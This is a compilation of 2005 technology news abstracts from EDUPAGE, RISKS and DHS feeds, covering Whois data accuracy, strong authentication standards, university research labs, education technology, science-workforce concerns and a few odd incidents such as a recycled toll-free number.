Individuals or organizations seeking to register the names of their Websites may provide inaccurate contact information to registrars in order to hide their identities or to prevent members of the public from contacting them. Contact information is made publicly available on the Internet through a service known as Whois. Data accuracy in the Whois service can help law enforcement officials to investigate intellectual property misuse and online fraud, or identify the source of spam e-mail, and can help Internet operators to resolve technical network issues. The Government Accountability Office was asked, among other things, to (1) determine the prevalence of patently false or incomplete contact data in the Whois service for the .com, .org, and .net domains; (2) determine the extent to which patently false data are corrected within one month of being reported to the Internet Corporation for Assigned Names and Numbers (ICANN); and (3) describe steps the Department of Commerce and ICANN have taken to ensure the accuracy of contact data in the Whois database. Highlights: http://www.gao.gov/highlights/d06165high.pdf	
<i>Category 4C5</i>	<i>Academic/Industry/Vendor/Govt efforts</i>
2005-11-08	Liberty Alliance authentication protocols devices hardware software improvement efforts tokens biometrics
EDUPAGE; http://news.zdnet.com/2100-1009_22-5940442.html	
LIBERTY ALLIANCE LOOKS TO STRENGTHEN AUTHENTICATION	
The Liberty Alliance has announced the creation of the Strong Authentication Expert Group, charged with developing standards of interoperability for authentication tools that go beyond simple passwords. User passwords are widely considered a weak link in the chain of efforts to safeguard online resources and transactions, and calls have gone out recently to add other layers of authentication. New layers could include hardware devices, password tokens, biometric identification, or others. The new group will develop a specification known as Identity Strong Authentication Framework (ID-SAFE), the first version of which is expected in 2006, according to the Liberty Alliance. American Express, Axalto, HP, Oracle, RSA Security, and VeriSign are among the members of the new group. All other members of the Liberty Alliance may also join. ZDNet, 8 November 2005	

Category 4C5 Academic/Industry/Vendor/Govt efforts
2005-12-15 computer science research laboratory lab University California Berkeley Reliable Adaptive Distributed Systems Google Microsoft Sun Microsoft nonproprietary freely licensed ACM

EDUPAGE; <http://www.nytimes.com/2005/12/15/technology/15research.htm>

BERKELEY FUNDED FOR NEW RESEARCH LAB

Google, Microsoft, and Sun Microsystems plan to fund the Reliable, Adaptive, and Distributed Systems Laboratory at the University of California, Berkeley, to focus on the design of more dependable computing systems. According to Berkeley researchers involved with the new lab, research results will be nonproprietary and freely licensed. The three companies have pledged \$500,000 each yearly for five years to support the project. The lab's founding director, computer scientist David Patterson, is currently president of the Association for Computing Machinery. According to Patterson, "We're trying to sustain the broad vision, high-risk, and high-reward research model" in establishing the new research facility. New York Times, 15 December 2005 (registration req'd)

4D Funny / miscellaneous

Category 4D

Funny / miscellaneous

2005-01-06

Welsh university supercomputer Government fastest Swansea IBM college biology research studies disease prevention Wales

EDUPAGE; http://news.bbc.co.uk/2/hi/uk_news/wales/4150285.stm

WELSH UNIVERSITY ANNOUNCES SUPERCOMPUTER PLANS

The Welsh Assembly Government this week announced plans to build one of the world's fastest supercomputers at Swansea University. The tennis-court-sized machine will be developed with funding from the government and with support from IBM. The supercomputer, to be built at Swansea's new clinical college, will be used for biology research, including studies of disease prevention. The project is part of technology efforts by the government of Wales to strengthen the country's economy by 2010. Another initiative aims to make broadband access available throughout Wales. Organizers hope the project will lead to the creation of spin-off companies, attracting even more jobs to the area.

Category 4D

Funny / miscellaneous

2005-01-21

California parks wireless SBC Wi-Fi campgrounds Hiking

EDUPAGE; <http://www.reuters.com/newsArticle.jhtml?storyID=7397115>

CALIFORNIA PARKS TO GO WIRELESS

Officials from California State Parks this week announced a partnership with SBC Communications to bring Wi-Fi access to 85 of the state's parks over the next six months. Wi-Fi access is already available in the baseball stadium of the San Francisco Giants and in downtown San Jose. The first state park to have Wi-Fi access will be San Elijo State Beach, near San Diego. Current customers of SBC will be able to access the Wi-Fi service in the state parks for free; others will have to pay \$7.95 per day. According to a spokesperson from SBC, the revenue from the service will be split between the company and the state. California State Parks spokesman Roy Stearns said that access will largely be limited to areas in and around visitors' centers and campgrounds. Hiking trails, said Stearns, will not be part of the coverage area.

Category 4D

Funny / miscellaneous

2005-01-21

video gaming life skills technology learning games Racing Academy cars data performance chat student

EDUPAGE; <http://news.bbc.co.uk/2/hi/technology/4189411.stm>

USING VIDEO GAMES TO TEACH LIFE SKILLS

According to researchers at Futurelab, a British nonprofit investigating how technology can be used for innovative learning, video games have the potential to be highly effective tools for holding students' attention and teaching them about a variety of topics. This sentiment echoes recent findings of the London Institute of Education, which said video games have educational potential. "Games teach life skills such as decision making [and] problem solving," according to Futurelab's Martin Owen. One company, Lateral Visions, saw an opportunity in the educational potential of video games and developed an auto-racing game called Racing Academy. In it, players build and maintain the cars they race, using data to try to improve their performance. The game allows players to use chat rooms to exchange information and ideas, and Owen finds this aspect of the game particularly promising for developing student learning. Futurelab researchers who have been testing the game in two secondary schools have had a positive response from most students, and the researchers have generally been supportive of using the game to enhance learning.

Category 4D

Funny / miscellaneous

2005-01-24

tech companies grid computing consortium Globus Consortium IBM Intel HP Sun Microsystems Nortel Networks corporations academic research organizations Linux

EDUPAGE; <http://www.nytimes.com/2005/01/24/technology/24grid.html>

TECH COMPANIES FORM GRID COMPUTING GROUP

A group of leading high-tech companies has announced the formation of a consortium that will work to bring grid computing to corporate enterprises. The Globus Consortium, which includes IBM, Intel, HP, Sun Microsystems, and Nortel Networks, will work to develop grid computing tools geared specifically for corporations, as opposed to existing tools, which typically focus on the needs of academic and research organizations. The consortium's work will be based on software from the Globus Project, which was founded in 1996 by a group of researchers at labs and universities. All of the Globus Project's applications are freely shared and open source. The formation of the new consortium echoes the move of Linux, the open source operating system, from its beginnings in research laboratories into the corporate world. As Ken King, vice president of grid computing at IBM, said, "It starts in government labs and universities and then moves into broader commercial use."

Category 4D

Funny / miscellaneous

2005-01-25

word hyperlink Web Liquid Information project connections links CNN menu choices definition

EDUPAGE; <http://www.wired.com/news/culture/0,1284,66382,00.html>

MAKING EVERY WORD A LINK

A researcher at University College London wants to change the basic functioning of the Web, allowing readers of Web pages to change those pages--similar to wikis--and making every word a "hyperword." The Liquid Information project is the brainchild of Frode Hegland, who is collaborating with Doug Engelbart, inventor of the computer mouse. Hegland's vision of the Web is one in which consumers of content can also be producers of content. Users would be able to make connections, add links, and change the way information is presented. On an example page, Hegland has modified a CNN Web page such that users can hover over any word to display a menu of choices, including getting a definition of the word, performing a Google search for the word, and highlighting instances of the word in various colors. Hegland said that we need to replace the current Web, which consists of "handmade, one-way links" with what he calls "deep legibility" so that users can "make connections, explicit or otherwise." Hegland conceded that a Web like the one he envisions would require smart users. But, he added, "people are pretty smart. The days of baby steps when everything is shown to users are over."

Category 4D

Funny / miscellaneous

2005-01-27

software scan Arabic texts scanners texts language word vowels benefits writings

EDUPAGE; <http://www.nytimes.com/aponline/technology/AP-Arabic-Software.html>

DEVELOPING SOFTWARE TO SCAN ARABIC TEXTS

Computer researchers at the University at Buffalo are working on software that will allow computer scanners to read Arabic writing, including handwritten texts. Arabic is a visually complicated language, with some words, for example, having multiple representations. In addition, Arabic characters can be represented differently depending on where they appear in a word, and vowels are often not written at all. Intelligence-gathering efforts after September 11 were hampered by the lack of Arabic-language scanning software, but organizers of the project note other potential benefits, including expanded access to Arabic writings and the ability to digitize vast amounts of Arabic literature and put it on the Web. Venu Govindaraju, director of the Center for Unified Biometrics and Sensors at the University at Buffalo, noted that "The whole Internet is skewed toward people who speak English." Govindaraju said the software will help prevent classic texts in Arabic from "disappear[ing] into oblivion."

Category 4D Funny / miscellaneous
2005-02-07 **MIT Media Lab inexpensive laptop education text books TV telephone games machine applications operating system**

EDUPAGE; <http://news.bbc.co.uk/2/hi/technology/4243733.stm>

MEDIA LAB FOUNDER PROPOSES INEXPENSIVE LAPTOP FOR EDUCATION

Nicholas Negroponte is developing a sub-\$100 laptop computer that he said could be a vital educational tool for children in developing countries. Negroponte, the chairman and founder of MIT's Media Lab, said the idea comes from pilot programs in Maine, in which schoolchildren were given laptops, and in Cambodia, where he and his wife have set up two schools and given the students laptops. Children can use the devices as text books, according to Negroponte, who said such computers could become "very important to the development of not just that child but now the whole family, village, and neighborhood." Negroponte noted that in Cambodia, the students use them not just as text books but also as "a TV, a telephone, and a games machine." Building a laptop for less than \$100, he said, will require deleting extraneous applications and running a Linux-based operating system. "[I]f you can skinny it down," he said, "you can gain speed and the ability to use smaller processors and slower memory." Negroponte hopes to start distributing the machines by the end of 2006. BBC, 7 February 2005

Category 4D Funny / miscellaneous
2005-02-14 **trading color sound visually impaired graphics blind graduate Cornell University colored maps**

EDUPAGE; <http://news.bbc.co.uk/2/hi/technology/4257961.stm>

TRADING COLOR FOR SOUND FOR VISUALLY IMPAIRED

Working with a graphics specialist and another student, a blind graduate student at Cornell University has developed a computer application that translates colors into sounds, allowing him to read and understand colored maps of the atmosphere. Victor Wong, who has been blind since age seven, said he recognized the need for such a tool for his own studies, as well as for blind scientists generally. The application translates the colors of digitally created images into one of 88 notes, with blue at the low end and red at the high end. Users manipulate a stylus on a tablet to "read" the images through sound. Wong believes that because he formerly could see, his "color memory" may afford him the ability to visualize the colors and use the application in a way that someone who has never been able to see could not. The software remains primitive, but Wong said he hopes it can one day be developed to give blind people access to photographs and other images.

Category 4D Funny / miscellaneous
2005-02-14 **UW project graphics accessible researchers blind visually impaired National Science Foundation Tactile Graphics Project science engineering software printers**

EDUPAGE;
<http://www.registerguard.com/news/2005/02/14/b3.wa.research.0214.html>

UW PROJECT WORKS TO MAKE GRAPHICS MORE ACCESSIBLE

Researchers at the University of Washington are looking for ways to make graphics accessible to blind or visually impaired students. Funded in part by a grant from the National Science Foundation, the Tactile Graphics Project aims to open up science and engineering to students with visual disabilities, who have traditionally been largely left out of such fields due in part to the difficulty of "seeing" graphics with their hands. Researchers in the project are working with blind students from the university and local high schools to develop new and effective means of representing graphics and figures in a way that the blind can understand clearly. Such representations must be sufficiently detailed to be useful but not so complex as to be confusing. Tactile printers, or embossers, is one technology that already exists, but because the software is outdated and difficult to learn, the printers are not extensively used, according to Melody Ivory-Ndiaye, an assistant professor at the university's Information School.

Category 4D

Funny / miscellaneous

2005-02-28

pilot distributes handhelds Kenya school organization EduVision textbooks information satellite text images questions Google

EDUPAGE; <http://news.bbc.co.uk/2/hi/technology/4304375.stm>

PILOT PROGRAM DISTRIBUTES HANDHELDS IN KENYAN SCHOOL

A pilot project run by an organization called EduVision is distributing handheld computers to schoolchildren in western Kenya to replace aging, outdated textbooks. In the program, students receive devices called E-slates, which receive transmissions from a base station in the school. The base stations receive and process information delivered by satellite and transmit text, images, and study questions to the E-slates. EduVision's Matthew Herren explained that the system is very simple to set up but that "getting feedback or specific requests from end users is difficult" because the system uses one-way connections. Herren said organizers of the program are working with Google, which has begun an initiative to digitize millions of public-domain texts and make them available online. Putting those resources into the handheld program, said Herren, would give "every rural school in Africa ... access to the same libraries as the students in Oxford and Harvard."

Category 4D

Funny / miscellaneous

2005-04-02

Pentagon US government DARPA computer science research funding diverted universities

EDUPAGE; <http://www.nytimes.com/2005/04/02/technology/02darpa.html>

DARPA FUNDS DIVERTED FROM UNIVERSITIES

Confirming rumors among academics at a number of colleges and universities, the Pentagon's Defense Advanced Research Projects Agency (DARPA) has acknowledged a shift away from university projects. DARPA has long been a supporter of broad-ranging, long-term research initiatives at institutions of higher education, and many credit such programs with many of the innovations that underpin today's household technologies. In seeking shorter-term projects with more concrete deliverables, however, DARPA has significantly cut back funds for university projects. Since 2001, the portion of DARPA's relatively stable budget allocated to university projects has dropped by nearly 50 percent. Many in the research community fear that the shift away from basic, open-ended research will result in slower technological progress. Ed Lazowska, a computer scientist at the University of Washington and co-chairman of the President's Information Technology Advisory Committee, said, "Virtually every aspect of information technology upon which we rely today bears the stamp of federally sponsored university research." He characterized DARPA's change in focus as "killing the goose that laid the golden egg." New York Times, 2 April 2005 (registration req'd)

Category 4D

Funny / miscellaneous

2005-04-07

ACM ICPC international programming contest US falling behind computer science industry

EDUPAGE; http://news.zdnet.com/2100-9595_22-5659116.html

CODING CONTEST SHOWS U.S. STUDENTS FALLING BEHIND

At this year's Association for Computing Machinery International Collegiate Programming Contest, the University of Illinois's tie for 17th place was the best result for any U.S. team, representing the worst performance for U.S. institutions in the 29 years of the competition. Many observers believe the result is indicative of a variety of factors that have resulted in a striking shift in technological preeminence away from U.S. schools and companies. As recently as 1997, the United States came out on top, when a team from Harvey Mudd College won the competition. David Patterson, president of the Association for Computing Machinery and a computer science professor at the University of California, Berkeley, noted, "The U.S. used to dominate these kinds of programming Olympics." Others pointed out that applications from outside the United States to computer science and other technology programs at U.S. graduate schools have dropped lately. ZDNet, 7 April 2005

<i>Category 4D</i>	<i>Funny / miscellaneous</i>		
2005-04-15	telephone toll-free phone number rollover process vetting checking verification re-use		
RISKS; http://tinyurl.com/4ba24		23	84

SAFE BOATING = PHONE SEX?

Kark Klashinsky reported that in New Brunswick, Canada, the federal government's toll-free number originally assigned to a safe-boating information line was recycled to a phone-sex company. He notes, "The risk here is that the "recycle" process does not appear to check that the prior use of a toll-free number doesn't conflict in some social/moral way with the new user's intended use of the number. Oh, well, it could have been worse... at least the number wasn't previously used for Mattel's _Barbie_ hotline."

<i>Category 4D</i>	<i>Funny / miscellaneous</i>		
2005-04-22	report US college university computer science degree pursuant decline CRA		
EDUPAGE; http://news.com.com//2100-1022_3-5681438.html	FEWER COLLEGE STUDENTS PURSUING COMPUTER SCIENCE DEGREES		

A new report from the Computing Research Association (CRA) shows a significant drop in the number of college freshmen in the United States who say they plan to major in computer science. The CRA looked at data from the Higher Education Research Institute at the University of California at Los Angeles and found that between fall of 2000 and fall of 2004, interest in computer science fell by more than 60 percent and is now 70 percent below its all-time high. Interest among women has fallen even further, said the CRA, dropping 80 percent since 1998 and 93 percent since 1982. The CRA also conducted surveys of higher education institutions and came up with similar results. The report goes on to suggest that the United States will have difficulty meeting the demand for IT workers in coming years, increasing the gap with countries including India and China that are producing larger numbers of computer science graduates. "Freshmen interest levels at any given point have been an accurate predictor of trends in the number of degrees granted four to five years later," according to the report. CNET, 22 April 2005

<i>Category 4D</i>	<i>Funny / miscellaneous</i>		
2005-07-01	quantum computing information processing progress HP DARPA		
EDUPAGE; http://www.nytimes.com/2005/07/01/technology/01hewlett.html	HP CLAIMS PROGRESS ON QUANTUM COMPUTING		

Researchers at HP said they have taken a significant step in the development of a functioning quantum computer, and the Pentagon's Defense Advanced Research Projects Agency (DARPA) is contributing as much as \$10 million to support the project. As opposed to the transistors--which can register either 1 or 0--that underlie today's computer processors, quantum computing is based on the physics of subatomic particles, allowing so-called "qubits" to represent both 1 and 0 simultaneously. The result could be vastly expanded processing power of quantum computers compared to those based on transistors. The DARPA funding will be used by the researchers to construct a functioning prototype. One researcher commented that to perform a single demonstration will not be difficult; the challenge lies in doing it reliably and "in a way that will allow us to do quantum information processing." Other quantum physics researchers question the basis of the HP team's approach, saying that fundamentally different approaches to quantum computing hold more promise. New York Times, 1 July 2005 (registration req'd)

<i>Category 4D</i>	<i>Funny / miscellaneous</i>		
2005-07-15	science engineering higher education graduates US losing group internationally		
EDUPAGE; http://www.insidehighered.com/news/2005/07/15/science	U.S. LOSING GROUND IN SCIENCE AND ENGINEERING		

Confirming the suspicions of many, a new report from the National Bureau of Economic Research indicates that the United States is steadily losing ground to a number of other countries, particularly China, in the number of PhDs it awards in science and engineering fields. In 1970, nearly one-third of the world's college students attended a college or university in the United States, and more than half of the science and engineering PhDs were awarded by U.S. schools. A number of global factors contributed to those numbers, making them artificially high. Since that time, however, higher education around the world, and especially programs in science and engineering, has greatly expanded, leaving the United States with just 14 percent of the world's college students by 2001. According to the report, China could surpass the United States as early as 2010 in the number of science and engineering PhDs it awards. Inside Higher Ed, 15 July 2005

Category 4D Funny / miscellaneous

2005-07-21 **science graduates shortage bill US Senate Technology Talent Act**

EDUPAGE; <http://www.internetnews.com/bus-news/article.php/3521851>

SENATORS TO ADDRESS SHORTAGE OF SCIENCE GRADS

U.S. Senators said they will propose a bill next week to increase federal funding of multidisciplinary research and support for "revolutionizing" manufacturing technologies and processes. The legislation will also increase spending for the Technology Talent Act, which provides grants to colleges and universities to increase the number of science and engineering graduates. The proposed legislation is based on the 2004 National Innovation Initiative Report released by the Council on Competitiveness. That report calls for creating 5,000 new federally funded graduate fellowships, reworking immigration laws, and building 10 "innovation hot spots." Internet News, 21 July 2005

Category 4D Funny / miscellaneous

2005-08-15 **research University of California Berkeley Internet search technology improvement**

EDUPAGE; http://news.com.com/2100-1038_3-5831050.html

BERKELEY PROJECT AIMS TO CREATE BETTER SEARCH TECHNOLOGIES

Researchers at a new center being developed at the University of California at Berkeley will study search technologies in an effort "to solve the problems that have been engendered by the success of search," according to Robert Wilensky, the director of the center. Among the topics of study will be privacy, fraud, multimedia search, and personalization. Plans for the new center have not been finalized, but organizers said it will be an interdisciplinary effort, including 20 or so faculty from various departments. Wilensky said that having an environment with so many researchers from differing fields of study results in "something bigger than its parts." The new research center will encourage commercial search companies to participate. Higher education has played a prominent role in the development of search technologies. Both Google and Yahoo were started at Stanford University, while Lycos was born at Carnegie Mellon University. Other institutions around the country are also working on projects to further develop search technologies. CNET, 15 August 2005

Category 4D Funny / miscellaneous

2005-08-30 **hurricane Katrina disaster communications cut down new technology search rescue sensor system wiki networks**

DHS IAIP Daily; <http://msnbc.msn.com/id/9131498/>

SCIENTISTS BRING TECHNOLOGY TO POST-KATRINA DISASTER SCENE

In Hurricane Katrina's wake, researchers are bringing cutting-edge technologies to the disaster area. The search-and-rescue tools include devices and software that can turn walkie-talkies into Internet grids when the phones are out, robots and aerial mini-planes that can look for signs of life amid the wreckage, and sensor systems that can sniff out public health threats in the storm's aftermath. Cisco Systems is setting up mobile communication kits and wiki-based networks to deal with Katrina's information overload. "It's not us saving people. It's us getting the technology to the people who will use it to save people," explained Robin Murphy, a professor at the University of South Florida who directs the Institute for Safety Security Rescue Technology. Murphy and her USF team are heading to New Orleans to link up with Louisiana State University's Fire Emergency Training Institute and put their tools to the test.

Category 4D Funny / miscellaneous

2005-09-12 **hurricane Katrina disaster search research University of South Florida robots**

DHS IAIP Daily; <http://www.physorg.com/news6383.html>

UNIVERSITY OF SOUTH FLORIDA DEPLOYS MINI UNMANNED SEARCH AIRCRAFT AFTER KATRINA

The University of South Florida's Center for Robot-Assisted Search and Rescue (CRASAR) team worked with other rescuers in Mississippi immediately following Hurricane Katrina. They used two types of small unmanned aerial vehicles (UAVs), one fixed wing and one helicopter. Within two hours of deployment the responders had data from the UAVs showing there were no survivors trapped in the Pearl River. In addition, the UAV reported the flood waters from the river were not posing any additional threats to the community.

Funny / miscellaneous

2005-10-05 **Google Sun partnership Microsoft competition**

EDUPAGE; <http://www.siliconvalley.com/mld/siliconvalley/12823481.htm>

GOOGLE AND SUN ANNOUNCE PARTNERSHIP

Google and Sun Microsystems have announced a partnership that many see as a joining of forces against Microsoft. Sun has long been a direct competitor with Microsoft, and most analysts believe Google has aspirations to compete with the software giant. Few specifics were released about the new arrangement. Google, which already buys Sun hardware, will expand those purchases, and Sun customers who download Java will have the option of also downloading Google's toolbar. Beyond those changes, most speculation about the deal concerns Sun's OpenOffice, an open source application that competes with Microsoft's Office suite of software. The companies said they will jointly develop OpenOffice, though some analysts expect Google to take primary responsibility for the work. John Rymer, an analyst with Forrester Research, said he believes Google will not simply redistribute OpenOffice. "When [Google does] something," he said, "it has to be cool. It has to go further than Microsoft Office." The deal is also a reunion of sorts for Sun CEO Scott McNealy and Google CEO Eric Schmidt, who worked together at Sun for 14 years. San Jose Mercury News, 5 October 2005

Funny / miscellaneous

2005-10-13 science technology research development R&D US leading position loss
EDUPAGE; http://news.com.com/2100-11395_3-5894854.html
PANEL WARNS U.S. NOT KEEPING PACE IN SCIENCE

A new report says that the United States stands to lose its leading position in science and research unless efforts are made to strengthen support for educational and other scientific programs. The panel that wrote the report was convened by the National Academies and included representatives from corporations and higher education, as well as Nobel laureates and former presidential appointees. The panel pointed to the narrowing scientific gap between the United States and countries such as China and India; recent results showing declining performance among U.S. students in science and math compared with students around the world; and economic factors that work against U.S. scientific interests. Among the report's recommendations are funding scholarships to support 10,000 students annually to pursue careers in teaching math and science; allocating money for 30,000 students per year to study science, math, and engineering; and relaxing visa regulations to allow international students to find employment in the United States after they graduate. CNET, 13 October 2005

Mike Scott contributed this chilling tale of excessive dependence on computerized information:

>My son was being driven by a friend in London. The friend's car was equipped with some sort of GPS navigation. They were driving eastbound along the north side of the River Thames, intending to cross at Tower bridge to a destination on the south side of the river. The GPS said "turn right" when they reached the bridge. The only snag is that this is a one-way system. To cross the bridge you turn left, *away* from the bridge, and drive right round the block. Unfortunately, said friend [paid] more attention to the GPS than the road signing, and very nearly collided with a car coming the other way.<

Mr Scott wondered about legal liability of the GPS navigator makers if there had been an accident.

[Lightly edited by MK]

Category 4D Funny / miscellaneous

2005-10-28

MIT Nokia research laboratory lab CSAIL

EDUPAGE; http://www.theregister.com/2005/10/28/mit_nokia_joint_research/

MIT AND NOKIA TO FORM RESEARCH LAB

MIT and Nokia announced a venture to create a joint research lab, to be called the Nokia Research Center Cambridge. The lab is part of MIT's Computer Science and Artificial Intelligence Laboratory, and researchers there will study "the state of the art in mobile computing and communications," according to a statement from the two organizations. Specifically, researchers will focus on low-power hardware and user interfaces, in particular those that are based on speech. More broadly, the center will address questions concerning software architecture, wireless technologies, and methods of managing information. The center will comprise about 20 researchers from each of the two organizations and will be directed by James Hicks of the Nokia Research Center. The Register, 28 October 2005

Category 4D Funny / miscellaneous

2005-12-06

Internet Web browser Firefox plug-in George Mason University research bibliography sources citing bookmarking

EDUPAGE; <http://chronicle.com/daily/2005/12/2005120602t.htm>

GEORGE MASON DEVELOPS ACADEMIC BROWSER ADD-ON

Researchers at George Mason University are developing a plug-in for the Firefox browser that will help academics organize sources and properly cite them. The tool is designed to harvest bibliographic information from online sources and organize it for someone doing research on the Web. Assuming the bibliographic elements are formatted in a way the software can recognize, the application will parse title, author, and other information and correlate it with the source. Daniel J. Cohen, assistant professor of history and one of the developers, said it can be thought of as "incredibly smart bookmarking.... You're not just bookmarking the page, but you're automatically [capturing]...all that info that scholars want to save." Unlike commercial products that organize sources, the new application will tie directly into the browser, eliminating the step of manually collecting citation details. The open source application is expected to be completed next year and will be available for no charge from George Mason's Web site. Cohen said he believes the application will make unintentional plagiarism less likely than if a researcher were keeping sources organized manually.

Chronicle of Higher Education, 6 December 2005 (sub. req'd)

Category 4D Funny / miscellaneous

2005-12-11

China overtake US information technology IT good supplier

DHS IAIP Daily;

http://www.nytimes.com/2005/12/11/business/worldbusiness/11c_nd-hitech.html?adxnnl=1&adxnnlx=1134398046-RvJh6wxlZ7Zf7UdIW s/ljg

CHINA OVERTAKES U.S. AS SUPPLIER OF INFORMATION TECHNOLOGY GOODS

After almost a decade of explosive growth in its electronics sector, China has overtaken the U.S. as the world's biggest supplier of information technology goods, according to a report by the Organization for Economic Cooperation and Development. Data in the report, published on Monday, December 12, show that China's exports of information and communication technology increased by more than 46 percent to \$180 billion in 2004 from a year earlier, easily outstripping for the first time U.S. exports of \$149 billion, which grew 12 percent from 2003. The figures compiled by the Organization for Economic Cooperation and Development, based in Paris, also reveal that China has come close to matching the U.S. in the overall value of its trade in information and communications technology products. The value of China's combined exports and imports of such goods soared to \$329 billion in 2004 from \$35 billion in 1996. Over the same period, the value of American information technology trade expanded at a slower rate, to \$375 billion from \$230 billion. Organization for Economic Cooperation and Development's data: http://www.oecd.org/document/8/0,2340,en_2649_201185_3583309_6_1_1_1,00.html

Category 4D

Funny / miscellaneous

2005-12-16

Wikipedia free online encyclopedia content evaluation Nature Britannica science accuracy

EDUPAGE; <http://networks.silicon.com/webwatch/0,39024667,39155109,00.htm>

STUDY EVALUATES WIKIPEDIA CONTENT

According to a research study published in the journal Nature, Wikipedia compares favorably with the Encyclopedia Britannica in the accuracy of its information despite recent criticisms of its content and methods. The Nature study compared articles from both Web sites on a wide range of topics, asking field experts to review the accuracy of the entries. Serious errors (such as misunderstandings of vital concepts) were evenly distributed between the two encyclopedias, with four serious errors each. As for errors of fact, omissions, or misleading text, Wikipedia had 162 such errors and Britannica had 123. The study is the first to use peer review to compare the accuracy of the two sources' coverage of science. Silicon.com, 16 December 2005
